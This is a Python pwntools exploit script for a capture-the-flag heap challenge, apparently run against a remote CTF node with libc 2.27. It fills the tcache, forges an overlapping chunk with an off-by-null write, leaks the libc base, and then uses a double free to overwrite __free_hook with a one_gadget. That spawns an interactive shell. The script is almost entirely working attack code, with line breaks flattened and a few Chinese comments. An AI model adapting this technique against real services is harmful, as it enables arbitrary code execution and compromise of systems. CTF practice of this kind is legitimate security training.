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| from pwn import * from ctypes import * from libcfind import * from LibcSearcher import* import base64 import sys context(os='linux', arch='amd64', log_level='debug') context.terminal = ["tmux","splitw","-h"] debug = 0 if debug: p = process('./pwn') elf = ELF('./pwn') else: p = remote('node5.anna.nssctf.cn', 28201) elf = ELF('./pwn')
s = lambda data: p.send(data) sa = lambda text, data: p.sendafter(text, data) sl = lambda data: p.sendline(data) sla = lambda text, data: p.sendlineafter(text, data) r = lambda num=4096: p.recv(num) rl = lambda text: p.recvuntil(text) pr = lambda num=4096: sys.stdout.write(p.recv(num)) inter = lambda: p.interactive() l32 = lambda: u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00')) l64 = lambda: u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) uu32 = lambda: u32(p.recv(4).ljust(4, '\x00')) uu64 = lambda: u64(p.recv(6).ljust(8, '\x00')) int16 = lambda data: int(data, 16) lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
libc = ELF('./libc-2.27.so') def add(size,data): rl("Your choice: ") sl('1') rl("Size") sl(str(size)) rl("Data:") sl(data) def show(index): rl("Your choice: ") sl('2') rl("Index:") sl(str(index)) def delete(index): rl("Your choice: ") sl('3') rl("Index:") sl(str(index))
add(0xf0,'a') add(0x68,'a') add(0xf0,'a') for i in range(7): add(0xf0,'a') for i in range(7)://填满tcache,便于堆块合并 delete(i+3)
delete(0) delete(1)
add(0x68,'a'*0x68) delete(0) add(0x68,'a'*0x60+p64(0x170))
delete(2) for i in range(7): add(0xf0,'a')
add(0xf0,'a') show(0)
libc_leak = uu64() lg("libc_leak",libc_leak) libc_base = libc_leak-0x3ebc40-0x60 lg("libc_base",libc_base) onegadget = [0x4f2a5,0x4f302,0x10a2fc] free_hook = libc_base+libc.sym['__free_hook']
for i in range(7): delete(i+2)
add(0x30,'aa') delete(0)//再利用double_free delete(2)
add(0x30,p64(free_hook))
add(0x30,'aaa') add(0x30,p64(libc_base+onegadget[1])) delete(0)
inter()
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